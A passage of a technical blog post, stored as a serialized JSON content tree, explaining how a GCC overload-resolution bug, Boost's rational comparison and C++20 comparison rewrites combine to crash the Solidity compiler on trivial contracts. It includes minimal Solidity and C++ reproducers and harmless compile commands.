A",{"type":24,"tag":147,"props":95404,"children":95405},{"style":235},[95406],{"type":29,"value":6630},{"type":24,"tag":147,"props":95408,"children":95409},{"class":149,"line":187},[95410,95415,95420,95424,95428,95433,95437,95441,95445],{"type":24,"tag":147,"props":95411,"children":95412},{"style":218},[95413],{"type":29,"value":95414},"    function",{"type":24,"tag":147,"props":95416,"children":95417},{"style":229},[95418],{"type":29,"value":95419}," a",{"type":24,"tag":147,"props":95421,"children":95422},{"style":235},[95423],{"type":29,"value":19658},{"type":24,"tag":147,"props":95425,"children":95426},{"style":218},[95427],{"type":29,"value":67257},{"type":24,"tag":147,"props":95429,"children":95430},{"style":218},[95431],{"type":29,"value":95432}," pure",{"type":24,"tag":147,"props":95434,"children":95435},{"style":321},[95436],{"type":29,"value":81577},{"type":24,"tag":147,"props":95438,"children":95439},{"style":235},[95440],{"type":29,"value":408},{"type":24,"tag":147,"props":95442,"children":95443},{"style":9044},[95444],{"type":29,"value":51768},{"type":24,"tag":147,"props":95446,"children":95447},{"style":235},[95448],{"type":29,"value":505},{"type":24,"tag":147,"props":95450,"children":95451},{"class":149,"line":196},[95452,95456,95460,95465,95469],{"type":24,"tag":147,"props":95453,"children":95454},{"style":321},[95455],{"type":29,"value":7020},{"type":24,"tag":147,"props":95457,"children":95458},{"style":705},[95459],{"type":29,"value":10147},{"type":24,"tag":147,"props":95461,"children":95462},{"style":241},[95463],{"type":29,"value":95464}," **",{"type":24,"tag":147,"props":95466,"children":95467},{"style":705},[95468],{"type":29,"value":13560},{"type":24,"tag":147,"props":95470,"children":95471},{"style":235},[95472],{"type":29,"value":432},{"type":24,"tag":147,"props":95474,"children":95475},{"class":149,"line":205},[95476],{"type":24,"tag":147,"props":95477,"children":95478},{"style":235},[95479],{"type":29,"value":1952},{"type":24,"tag":147,"props":95481,"children":95482},{"class":149,"line":214},[95483],{"type":24,"tag":147,"props":95484,"children":95485},{"style":235},[95486],{"type":29,"value":827},{"type":24,"tag":25,"props":95488,"children":95489},{},[95490],{"type":29,"value":95491},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":25,"props":95493,"children":95494},{},[95495],{"type":29,"value":95496},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":25,"props":95498,"children":95499},{},[95500],{"type":29,"value":95501},"And yet, it crashes.",{"type":24,"tag":25,"props":95503,"children":95504},{},[95505],{"type":29,"value":95506},"Another minimal example?",{"type":24,"tag":137,"props":95508,"children":95510},{"code":95509,"language":10098,"meta":7,"className":10099,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[95511],{"type":24,"tag":80,"props":95512,"children":95513},{"__ignoreMap":7},[95514,95521,95536,95543,95558,95585,95606,95613],{"type":24,"tag":147,"props":95515,"children":95516},{"class":149,"line":150},[95517],{"type":24,"tag":147,"props":95518,"children":95519},{"style":154},[95520],{"type":29,"value":95364},{"type":24,"tag":147,"props":95522,"children":95523},{"class":149,"line":160},[95524,95528,95532],{"type":24,"tag":147,"props":95525,"children":95526},{"style":321},[95527],{"type":29,"value":95372},{"type":24,"tag":147,"props":95529,"children":95530},{"style":218},[95531],{"type":29,"value":95377},{"type":24,"tag":147,"props":95533,"children":95534},{"style":235},[95535],{"type":29,"value":95382},{"type":24,"tag":147,"props":95537,"children":95538},{"class":149,"line":169},[95539],{"type":24,"tag":147,"props":95540,"children":95541},{"emptyLinePlaceholder":16},[95542],{"type":29,"value":314},{"type":24,"tag":147,"props":95544,"children":95545},{"class":149,"line":178},[95546,95550,95554],{"type":24,"tag":147,"props":95547,"children":95548},{"style":218},[95549],{"type":29,"value":95397},{"type":24,"tag":147,"props":95551,"children":95552},{"style":9044},[95553],{"type":29,"value":95402},{"type":24,"tag":147,"props":95555,"children":95556},{"style":235},[95557],{"type":29,"value":6630},{"type":24,"tag":147,"props":95559,"children":95560},{"class":149,"line":187},[95561,95565,95569,95573,95577,95581],{"type":24,"tag":147,"props":95562,"children":95563},{"style":218},[95564],{"type":29,"value":95414},{"type":24,"tag":147,"props":95566,"children":95567},{"style":229},[95568],{"type":29,"value":95419},{"type":24,"tag":147,"props":95570,"children":95571},{"style":235},[95572],{"type":29,"value":19658},{"type":24,"tag":147,"props":95574,"children":95575},{"style":218},[95576],{"type":29,"value":67257},{"type":24,"tag":147,"props":95578,"children":95579},{"style":218},[95580],{"type":29,"value":95432},{"type":24,"tag":147,"props":95582,"children":95583},{"style":235},[95584],{"type":29,"value":6630},{"type":24,"tag":147,"props":95586,"children":95587},{"class":149,"line":196},[95588,95593,95597,95601],{"type":24,"tag":147,"props":95589,"children":95590},{"style":9044},[95591],{"type":29,"value":95592},"        uint256",{"type":24,"tag":147,"props":95594,"children":95595},{"style":235},[95596],{"type":29,"value":9358},{"type":24,"tag":147,"props":95598,"children":95599},{"style":705},[95600],{"type":29,"value":1154},{"type":24,"tag":147,"props":95602,"children":95603},{"style":235},[95604],{"type":29,"value":95605},"] data;\n",{"type":24,"tag":147,"props":95607,"children":95608},{"class":149,"line":205},[95609],{"type":24,"tag":147,"props":95610,"children":95611},{"style":235},[95612],{"type":29,"value":1952},{"type":24,"tag":147,"props":95614,"children":95615},{"class":149,"line":214},[95616],{"type":24,"tag":147,"props":95617,"children":95618},{"style":235},[95619],{"type":29,"value":827},{"type":24,"tag":25,"props":95621,"children":95622},{},[95623],{"type":29,"value":95624},"Still crashes.",{"type":24,"tag":25,"props":95626,"children":95627},{},[95628],{"type":29,"value":95629},"So what’s going on?",{"type":24,"tag":25,"props":95631,"children":95632},{},[95633],{"type":29,"value":95634},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":137,"props":95636,"children":95638},{"code":95637,"language":34714,"meta":7,"className":34712,"style":7},"if (*lengthValue == 0) { ... }\n",[95639],{"type":24,"tag":80,"props":95640,"children":95641},{"__ignoreMap":7},[95642],{"type":24,"tag":147,"props":95643,"children":95644},{"class":149,"line":150},[95645,95649,95653,95657,95662,95666,95670],{"type":24,"tag":147,"props":95646,"children":95647},{"style":321},[95648],{"type":29,"value":21191},{"type":24,"tag":147,"props":95650,"children":95651},{"style":235},[95652],{"type":29,"value":408},{"type":24,"tag":147,"props":95654,"children":95655},{"style":241},[95656],{"type":29,"value":244},{"type":24,"tag":147,"props":95658,"children":95659},{"style":235},[95660],{"type":29,"value":95661},"lengthValue ",{"type":24,"tag":147,"props":95663,"children":95664},{"style":241},[95665],{"type":29,"value":6600},{"type":24,"tag":147,"props":95667,"children":95668},{"style":705},[95669],{"type":29,"value":708},{"type":24,"tag":147,"props":95671,"children":95672},{"style":235},[95673],{"type":29,"value":95674},") { ... }\n",{"type":24,"tag":25,"props":95676,"children":95677},{},[95678,95680,95686],{"type":29,"value":95679},"That single comparison — a ",{"type":24,"tag":80,"props":95681,"children":95683},{"className":95682},[],[95684],{"type":29,"value":95685},"boost::rational",{"type":29,"value":95687}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":25,"props":95689,"children":95690},{},[95691],{"type":29,"value":95692},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":22292,"props":95694,"children":95695},{},[95696,95701,95706],{"type":24,"tag":2678,"props":95697,"children":95698},{},[95699],{"type":29,"value":95700},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":2678,"props":95702,"children":95703},{},[95704],{"type":29,"value":95705},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":2678,"props":95707,"children":95708},{},[95709],{"type":29,"value":95710},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":25,"props":95712,"children":95713},{},[95714],{"type":29,"value":95715},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":2665,"props":95717,"children":95718},{},[],{"type":24,"tag":32,"props":95720,"children":95722},{"id":95721},"background-the-setup",[95723],{"type":29,"value":95724},"Background: The Setup",{"type":24,"tag":25,"props":95726,"children":95727},{},[95728,95730,95737],{"type":29,"value":95729},"If you follow the ",{"type":24,"tag":2773,"props":95731,"children":95734},{"href":95732,"rel":95733},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[2777],[95735],{"type":29,"value":95736},"Solidity build documentation (v0.8.30)",{"type":29,"value":95738},", you'll see it recommends:",{"type":24,"tag":22292,"props":95740,"children":95741},{},[95742,95747],{"type":24,"tag":2678,"props":95743,"children":95744},{},[95745],{"type":29,"value":95746},"Boost ≥ 1.67",{"type":24,"tag":2678,"props":95748,"children":95749},{},[95750],{"type":29,"value":95751},"GCC ≥ 11",{"type":24,"tag":25,"props":95753,"children":95754},{},[95755],{"type":29,"value":95756},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":22292,"props":95758,"children":95759},{},[95760,95765],{"type":24,"tag":2678,"props":95761,"children":95762},{},[95763],{"type":29,"value":95764},"G++ 11.4.0",{"type":24,"tag":2678,"props":95766,"children":95767},{},[95768],{"type":29,"value":95769},"Boost 1.74.0",{"type":24,"tag":25,"props":95771,"children":95772},{},[95773],{"type":29,"value":95774},"So far, so good.",{"type":24,"tag":25,"props":95776,"children":95777},{},[95778,95780,95785],{"type":29,"value":95779},"However, Solidity enabled ",{"type":24,"tag":10949,"props":95781,"children":95782},{},[95783],{"type":29,"value":95784},"C++20",{"type":29,"value":95786}," in January 2025:",{"type":24,"tag":98,"props":95788,"children":95789},{},[95790],{"type":24,"tag":25,"props":95791,"children":95792},{},[95793],{"type":24,"tag":2773,"props":95794,"children":95797},{"href":95795,"rel":95796},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[2777],[95798],{"type":29,"value":95799},"Enable C++20 in Solidity",{"type":24,"tag":25,"props":95801,"children":95802},{},[95803],{"type":29,"value":95804},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":2665,"props":95806,"children":95807},{},[],{"type":24,"tag":32,"props":95809,"children":95811},{"id":95810},"part-i-a-12-year-old-g-bug-in-overload-resolution",[95812],{"type":29,"value":95813},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":43,"props":95815,"children":95817},{"id":95816},"whats-overload-resolution",[95818],{"type":29,"value":95819},"What’s Overload Resolution?",{"type":24,"tag":25,"props":95821,"children":95822},{},[95823,95825,95831,95833,95839,95841,95846,95848,95853,95855,95861,95863,95868,95869,95875],{"type":29,"value":95824},"In C++, when you write an expression like ",{"type":24,"tag":80,"props":95826,"children":95828},{"className":95827},[],[95829],{"type":29,"value":95830},"a == b",{"type":29,"value":95832},", the compiler chooses among available ",{"type":24,"tag":80,"props":95834,"children":95836},{"className":95835},[],[95837],{"type":29,"value":95838},"operator==",{"type":29,"value":95840}," implementations by comparing their ",{"type":24,"tag":10949,"props":95842,"children":95843},{},[95844],{"type":29,"value":95845},"match quality",{"type":29,"value":95847},". A ",{"type":24,"tag":10949,"props":95849,"children":95850},{},[95851],{"type":29,"value":95852},"member function",{"type":29,"value":95854}," like ",{"type":24,"tag":80,"props":95856,"children":95858},{"className":95857},[],[95859],{"type":29,"value":95860},"a.operator==(b)",{"type":29,"value":95862}," usually has higher priority than a ",{"type":24,"tag":10949,"props":95864,"children":95865},{},[95866],{"type":29,"value":95867},"non-member function",{"type":29,"value":95854},{"type":24,"tag":80,"props":95870,"children":95872},{"className":95871},[],[95873],{"type":29,"value":95874},"operator==(a, b)",{"type":29,"value":95876}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":25,"props":95878,"children":95879},{},[95880],{"type":29,"value":95881},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":43,"props":95883,"children":95885},{"id":95884},"the-bug",[95886],{"type":29,"value":95887},"The Bug",{"type":24,"tag":25,"props":95889,"children":95890},{},[95891,95893,95900],{"type":29,"value":95892},"In 2012, a bug was filed: ",{"type":24,"tag":2773,"props":95894,"children":95897},{"href":95895,"rel":95896},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[2777],[95898],{"type":29,"value":95899},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":95901},". The issue? In expressions where:",{"type":24,"tag":22292,"props":95903,"children":95904},{},[95905,95925],{"type":24,"tag":2678,"props":95906,"children":95907},{},[95908,95910,95916,95918,95923],{"type":29,"value":95909},"A class ",{"type":24,"tag":80,"props":95911,"children":95913},{"className":95912},[],[95914],{"type":29,"value":95915},"rational\u003CT>",{"type":29,"value":95917}," has a templated ",{"type":24,"tag":80,"props":95919,"children":95921},{"className":95920},[],[95922],{"type":29,"value":95838},{"type":29,"value":95924}," member function",{"type":24,"tag":2678,"props":95926,"children":95927},{},[95928,95930,95936],{"type":29,"value":95929},"There's also a more generic free ",{"type":24,"tag":80,"props":95931,"children":95933},{"className":95932},[],[95934],{"type":29,"value":95935},"operator==(rational\u003CT>, U)",{"type":29,"value":43811},{"type":24,"tag":25,"props":95938,"children":95939},{},[95940],{"type":24,"tag":10949,"props":95941,"children":95942},{},[95943],{"type":29,"value":95944},"Clang correctly chooses the member function.",{"type":24,"tag":25,"props":95946,"children":95947},{},[95948],{"type":24,"tag":10949,"props":95949,"children":95950},{},[95951],{"type":29,"value":95952},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":25,"props":95954,"children":95955},{},[95956,95958,95963,95965,95972],{"type":29,"value":95957},"Why? Because G++ mishandles ",{"type":24,"tag":10949,"props":95959,"children":95960},{},[95961],{"type":29,"value":95962},"templated conversion + non-exact match",{"type":29,"value":95964},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":2773,"props":95966,"children":95969},{"href":95967,"rel":95968},"https://cplusplus.github.io/CWG/issues/532.html",[2777],[95970],{"type":29,"value":95971},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":87},{"type":24,"tag":43,"props":95974,"children":95976},{"id":95975},"a-minimal-reproducer",[95977],{"type":29,"value":95978},"A Minimal Reproducer",{"type":24,"tag":25,"props":95980,"children":95981},{},[95982],{"type":29,"value":95983},"Let’s see this in action:",{"type":24,"tag":137,"props":95985,"children":95987},{"code":95986,"language":34714,"meta":7,"className":34712,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[95988],{"type":24,"tag":80,"props":95989,"children":95990},{"__ignoreMap":7},[95991,96004,96011,96036,96052,96060,96084,96129,96157,96172,96179,96186,96193,96229,96298,96323,96338,96345,96352,96368,96393,96417],{"type":24,"tag":147,"props":95992,"children":95993},{"class":149,"line":150},[95994,95999],{"type":24,"tag":147,"props":95995,"children":95996},{"style":321},[95997],{"type":29,"value":95998},"#include",{"type":24,"tag":147,"props":96000,"children":96001},{"style":3534},[96002],{"type":29,"value":96003}," \u003Ciostream>\n",{"type":24,"tag":147,"props":96005,"children":96006},{"class":149,"line":160},[96007],{"type":24,"tag":147,"props":96008,"children":96009},{"emptyLinePlaceholder":16},[96010],{"type":29,"value":314},{"type":24,"tag":147,"props":96012,"children":96013},{"class":149,"line":169},[96014,96018,96022,96027,96032],{"type":24,"tag":147,"props":96015,"children":96016},{"style":218},[96017],{"type":29,"value":71798},{"type":24,"tag":147,"props":96019,"children":96020},{"style":235},[96021],{"type":29,"value":14344},{"type":24,"tag":147,"props":96023,"children":96024},{"style":218},[96025],{"type":29,"value":96026},"typename",{"type":24,"tag":147,"props":96028,"children":96029},{"style":9044},[96030],{"type":29,"value":96031}," IntType",{"type":24,"tag":147,"props":96033,"children":96034},{"style":235},[96035],{"type":29,"value":11617},{"type":24,"tag":147,"props":96037,"children":96038},{"class":149,"line":178},[96039,96043,96048],{"type":24,"tag":147,"props":96040,"children":96041},{"style":218},[96042],{"type":29,"value":75993},{"type":24,"tag":147,"props":96044,"children":96045},{"style":9044},[96046],{"type":29,"value":96047}," rational",{"type":24,"tag":147,"props":96049,"children":96050},{"style":235},[96051],{"type":29,"value":6630},{"type":24,"tag":147,"props":96053,"children":96054},{"class":149,"line":187},[96055],{"type":24,"tag":147,"props":96056,"children":96057},{"style":218},[96058],{"type":29,"value":96059},"public:\n",{"type":24,"tag":147,"props":96061,"children":96062},{"class":149,"line":196},[96063,96068,96072,96076,96080],{"type":24,"tag":147,"props":96064,"children":96065},{"style":218},[96066],{"type":29,"value":96067},"    template",{"type":24,"tag":147,"props":96069,"children":96070},{"style":235},[96071],{"type":29,"value":14344},{"type":24,"tag":147,"props":96073,"children":96074},{"style":218},[96075],{"type":29,"value":75993},{"type":24,"tag":147,"props":96077,"children":96078},{"style":9044},[96079],{"type":29,"value":11543},{"type":24,"tag":147,"props":96081,"children":96082},{"style":235},[96083],{"type":29,"value":11617},{"type":24,"tag":147,"props":96085,"children":96086},{"class":149,"line":205},[96087,96091,96096,96101,96105,96109,96113,96117,96121,96125],{"type":24,"tag":147,"props":96088,"children":96089},{"style":218},[96090],{"type":29,"value":1085},{"type":24,"tag":147,"props":96092,"children":96093},{"style":218},[96094],{"type":29,"value":96095}," operator",{"type":24,"tag":147,"props":96097,"children":96098},{"style":235},[96099],{"type":29,"value":96100},"==(",{"type":24,"tag":147,"props":96102,"children":96103},{"style":218},[96104],{"type":29,"value":15276},{"type":24,"tag":147,"props":96106,"children":96107},{"style":9044},[96108],{"type":29,"value":11543},{"type":24,"tag":147,"props":96110,"children":96111},{"style":218},[96112],{"type":29,"value":485},{"type":24,"tag":147,"props":96114,"children":96115},{"style":247},[96116],{"type":29,"value":9023},{"type":24,"tag":147,"props":96118,"children":96119},{"style":235},[96120],{"type":29,"value":564},{"type":24,"tag":147,"props":96122,"children":96123},{"style":218},[96124],{"type":29,"value":15276},{"type":24,"tag":147,"props":96126,"children":96127},{"style":235},[96128],{"type":29,"value":6630},{"type":24,"tag":147,"props":96130,"children":96131},{"class":149,"line":214},[96132,96137,96142,96147,96152],{"type":24,"tag":147,"props":96133,"children":96134},{"style":235},[96135],{"type":29,"value":96136},"        std::cout ",{"type":24,"tag":147,"props":96138,"children":96139},{"style":241},[96140],{"type":29,"value":96141},"\u003C\u003C",{"type":24,"tag":147,"props":96143,"children":96144},{"style":3534},[96145],{"type":29,"value":96146}," \"clang++ resolved member\"",{"type":24,"tag":147,"props":96148,"children":96149},{"style":241},[96150],{"type":29,"value":96151}," \u003C\u003C",{"type":24,"tag":147,"props":96153,"children":96154},{"style":235},[96155],{"type":29,"value":96156}," std::endl;\n",{"type":24,"tag":147,"props":96158,"children":96159},{"class":149,"line":272},[96160,96164,96168],{"type":24,"tag":147,"props":96161,"children":96162},{"style":321},[96163],{"type":29,"value":7020},{"type":24,"tag":147,"props":96165,"children":96166},{"style":218},[96167],{"type":29,"value":18087},{"type":24,"tag":147,"props":96169,"children":96170},{"style":235},[96171],{"type":29,"value":432},{"type":24,"tag":147,"props":96173,"children":96174},{"class":149,"line":281},[96175],{"type":24,"tag":147,"props":96176,"children":96177},{"style":235},[96178],{"type":29,"value":1952},{"type":24,"tag":147,"props":96180,"children":96181},{"class":149,"line":299},[96182],{"type":24,"tag":147,"props":96183,"children":96184},{"style":235},[96185],{"type":29,"value":1120},{"type":24,"tag":147,"props":96187,"children":96188},{"class":149,"line":308},[96189],{"type":24,"tag":147,"props":96190,"children":96191},{"emptyLinePlaceholder":16},[96192],{"type":29,"value":314},{"type":24,"tag":147,"props":96194,"children":96195},{"class":149,"line":317},[96196,96200,96204,96208,96213,96217,96221,96225],{"type":24,"tag":147,"props":96197,"children":96198},{"style":218},[96199],{"type":29,"value":71798},{"type":24,"tag":147,"props":96201,"children":96202},{"style":235},[96203],{"type":29,"value":14344},{"type":24,"tag":147,"props":96205,"children":96206},{"style":218},[96207],{"type":29,"value":75993},{"type":24,"tag":147,"props":96209,"children":96210},{"style":9044},[96211],{"type":29,"value":96212}," Arg",{"type":24,"tag":147,"props":96214,"children":96215},{"style":235},[96216],{"type":29,"value":546},{"type":24,"tag":147,"props":96218,"children":96219},{"style":218},[96220],{"type":29,"value":75993},{"type":24,"tag":147,"props":96222,"children":96223},{"style":9044},[96224],{"type":29,"value":96031},{"type":24,"tag":147,"props":96226,"children":96227},{"style":235},[96228],{"type":29,"value":11617},{"type":24,"tag":147,"props":96230,"children":96231},{"class":149,"line":332},[96232,96236,96240,96244,96248,96252,96256,96261,96265,96269,96273,96277,96281,96285,96289,96294],{"type":24,"tag":147,"props":96233,"children":96234},{"style":218},[96235],{"type":29,"value":35286},{"type":24,"tag":147,"props":96237,"children":96238},{"style":218},[96239],{"type":29,"value":96095},{"type":24,"tag":147,"props":96241,"children":96242},{"style":235},[96243],{"type":29,"value":96100},{"type":24,"tag":147,"props":96245,"children":96246},{"style":218},[96247],{"type":29,"value":15276},{"type":24,"tag":147,"props":96249,"children":96250},{"style":9044},[96251],{"type":29,"value":96047},{"type":24,"tag":147,"props":96253,"children":96254},{"style":235},[96255],{"type":29,"value":3583},{"type":24,"tag":147,"props":96257,"children":96258},{"style":9044},[96259],{"type":29,"value":96260},"IntType",{"type":24,"tag":147,"props":96262,"children":96263},{"style":235},[96264],{"type":29,"value":3453},{"type":24,"tag":147,"props":96266,"children":96267},{"style":218},[96268],{"type":29,"value":485},{"type":24,"tag":147,"props":96270,"children":96271},{"style":247},[96272],{"type":29,"value":95419},{"type":24,"tag":147,"props":96274,"children":96275},{"style":235},[96276],{"type":29,"value":546},{"type":24,"tag":147,"props":96278,"children":96279},{"style":218},[96280],{"type":29,"value":15276},{"type":24,"tag":147,"props":96282,"children":96283},{"style":9044},[96284],{"type":29,"value":96212},{"type":24,"tag":147,"props":96286,"children":96287},{"style":218},[96288],{"type":29,"value":485},{"type":24,"tag":147,"props":96290,"children":96291},{"style":247},[96292],{"type":29,"value":96293}," b",{"type":24,"tag":147,"props":96295,"children":96296},{"style":235},[96297],{"type":29,"value":505},{"type":24,"tag":147,"props":96299,"children":96300},{"class":149,"line":350},[96301,96306,96310,96315,96319],{"type":24,"tag":147,"props":96302,"children":96303},{"style":235},[96304],{"type":29,"value":96305},"    std::cout ",{"type":24,"tag":147,"props":96307,"children":96308},{"style":241},[96309],{"type":29,"value":96141},{"type":24,"tag":147,"props":96311,"children":96312},{"style":3534},[96313],{"type":29,"value":96314}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":147,"props":96316,"children":96317},{"style":241},[96318],{"type":29,"value":96151},{"type":24,"tag":147,"props":96320,"children":96321},{"style":235},[96322],{"type":29,"value":96156},{"type":24,"tag":147,"props":96324,"children":96325},{"class":149,"line":358},[96326,96330,96334],{"type":24,"tag":147,"props":96327,"children":96328},{"style":321},[96329],{"type":29,"value":2597},{"type":24,"tag":147,"props":96331,"children":96332},{"style":218},[96333],{"type":29,"value":14682},{"type":24,"tag":147,"props":96335,"children":96336},{"style":235},[96337],{"type":29,"value":432},{"type":24,"tag":147,"props":96339,"children":96340},{"class":149,"line":397},[96341],{"type":24,"tag":147,"props":96342,"children":96343},{"style":235},[96344],{"type":29,"value":827},{"type":24,"tag":147,"props":96346,"children":96347},{"class":149,"line":421},[96348],{"type":24,"tag":147,"props":96349,"children":96350},{"emptyLinePlaceholder":16},[96351],{"type":29,"value":314},{"type":24,"tag":147,"props":96353,"children":96354},{"class":149,"line":435},[96355,96359,96364],{"type":24,"tag":147,"props":96356,"children":96357},{"style":218},[96358],{"type":29,"value":1276},{"type":24,"tag":147,"props":96360,"children":96361},{"style":229},[96362],{"type":29,"value":96363}," main",{"type":24,"tag":147,"props":96365,"children":96366},{"style":235},[96367],{"type":29,"value":21347},{"type":24,"tag":147,"props":96369,"children":96370},{"class":149,"line":444},[96371,96376,96380,96384,96388],{"type":24,"tag":147,"props":96372,"children":96373},{"style":235},[96374],{"type":29,"value":96375},"    rational",{"type":24,"tag":147,"props":96377,"children":96378},{"style":241},[96379],{"type":29,"value":3583},{"type":24,"tag":147,"props":96381,"children":96382},{"style":218},[96383],{"type":29,"value":1276},{"type":24,"tag":147,"props":96385,"children":96386},{"style":241},[96387],{"type":29,"value":3453},{"type":24,"tag":147,"props":96389,"children":96390},{"style":235},[96391],{"type":29,"value":96392}," r;\n",{"type":24,"tag":147,"props":96394,"children":96395},{"class":149,"line":452},[96396,96400,96405,96409,96413],{"type":24,"tag":147,"props":96397,"children":96398},{"style":321},[96399],{"type":29,"value":2597},{"type":24,"tag":147,"props":96401,"children":96402},{"style":235},[96403],{"type":29,"value":96404}," r ",{"type":24,"tag":147,"props":96406,"children":96407},{"style":241},[96408],{"type":29,"value":6600},{"type":24,"tag":147,"props":96410,"children":96411},{"style":705},[96412],{"type":29,"value":708},{"type":24,"tag":147,"props":96414,"children":96415},{"style":235},[96416],{"type":29,"value":432},{"type":24,"tag":147,"props":96418,"children":96419},{"class":149,"line":461},[96420],{"type":24,"tag":147,"props":96421,"children":96422},{"style":235},[96423],{"type":29,"value":827},{"type":24,"tag":22292,"props":96425,"children":96426},{},[96427],{"type":24,"tag":2678,"props":96428,"children":96429},{},[96430],{"type":29,"value":96431},"Compile with g++\u003C14:",{"type":24,"tag":137,"props":96433,"children":96435},{"code":96434,"language":9868,"meta":7,"className":9869,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[96436],{"type":24,"tag":80,"props":96437,"children":96438},{"__ignoreMap":7},[96439],{"type":24,"tag":147,"props":96440,"children":96441},{"class":149,"line":150},[96442,96447,96452,96457,96462,96466,96471],{"type":24,"tag":147,"props":96443,"children":96444},{"style":229},[96445],{"type":29,"value":96446},"g++",{"type":24,"tag":147,"props":96448,"children":96449},{"style":3534},[96450],{"type":29,"value":96451}," -std=c++17",{"type":24,"tag":147,"props":96453,"children":96454},{"style":3534},[96455],{"type":29,"value":96456}," main.cpp",{"type":24,"tag":147,"props":96458,"children":96459},{"style":3534},[96460],{"type":29,"value":96461}," -o",{"type":24,"tag":147,"props":96463,"children":96464},{"style":3534},[96465],{"type":29,"value":36279},{"type":24,"tag":147,"props":96467,"children":96468},{"style":235},[96469],{"type":29,"value":96470}," && ",{"type":24,"tag":147,"props":96472,"children":96473},{"style":229},[96474],{"type":29,"value":96475},"./test\n",{"type":24,"tag":25,"props":96477,"children":96478},{},[96479],{"type":29,"value":96480},"Output (on g++ 11.4):",{"type":24,"tag":137,"props":96482,"children":96484},{"code":96483},"g++ \u003C14 resolved non-member\n",[96485],{"type":24,"tag":80,"props":96486,"children":96487},{"__ignoreMap":7},[96488],{"type":29,"value":96483},{"type":24,"tag":22292,"props":96490,"children":96491},{},[96492],{"type":24,"tag":2678,"props":96493,"children":96494},{},[96495],{"type":29,"value":96496},"Compile with clang++:",{"type":24,"tag":137,"props":96498,"children":96500},{"code":96499,"language":9868,"meta":7,"className":9869,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[96501],{"type":24,"tag":80,"props":96502,"children":96503},{"__ignoreMap":7},[96504],{"type":24,"tag":147,"props":96505,"children":96506},{"class":149,"line":150},[96507,96512,96516,96520,96524,96528,96532],{"type":24,"tag":147,"props":96508,"children":96509},{"style":229},[96510],{"type":29,"value":96511},"clang++",{"type":24,"tag":147,"props":96513,"children":96514},{"style":3534},[96515],{"type":29,"value":96451},{"type":24,"tag":147,"props":96517,"children":96518},{"style":3534},[96519],{"type":29,"value":96456},{"type":24,"tag":147,"props":96521,"children":96522},{"style":3534},[96523],{"type":29,"value":96461},{"type":24,"tag":147,"props":96525,"children":96526},{"style":3534},[96527],{"type":29,"value":36279},{"type":24,"tag":147,"props":96529,"children":96530},{"style":235},[96531],{"type":29,"value":96470},{"type":24,"tag":147,"props":96533,"children":96534},{"style":229},[96535],{"type":29,"value":96475},{"type":24,"tag":25,"props":96537,"children":96538},{},[96539],{"type":29,"value":96540},"Output:",{"type":24,"tag":137,"props":96542,"children":96544},{"code":96543},"clang++ resolved member\n",[96545],{"type":24,"tag":80,"props":96546,"children":96547},{"__ignoreMap":7},[96548],{"type":29,"value":96543},{"type":24,"tag":25,"props":96550,"children":96551},{},[96552],{"type":29,"value":96553},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":2665,"props":96555,"children":96556},{},[],{"type":24,"tag":32,"props":96558,"children":96560},{"id":96559},"part-ii-c20s-symmetric-comparison-feature",[96561],{"type":29,"value":96562},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":43,"props":96564,"children":96566},{"id":96565},"what-changed-in-c20",[96567],{"type":29,"value":96568},"What Changed in C++20?",{"type":24,"tag":25,"props":96570,"children":96571},{},[96572,96574,96587,96588,96593],{"type":29,"value":96573},"C++20 introduced the ",{"type":24,"tag":2773,"props":96575,"children":96578},{"href":96576,"rel":96577},"https://en.cppreference.com/w/cpp/language/operator_comparison",[2777],[96579,96581],{"type":29,"value":96580},"spaceship operator ",{"type":24,"tag":80,"props":96582,"children":96584},{"className":96583},[],[96585],{"type":29,"value":96586},"\u003C=>",{"type":29,"value":855},{"type":24,"tag":10949,"props":96589,"children":96590},{},[96591],{"type":29,"value":96592},"defaulted comparison rewrites",{"type":29,"value":87},{"type":24,"tag":25,"props":96595,"children":96596},{},[96597,96599,96604],{"type":29,"value":96598},"When you define a two-argument 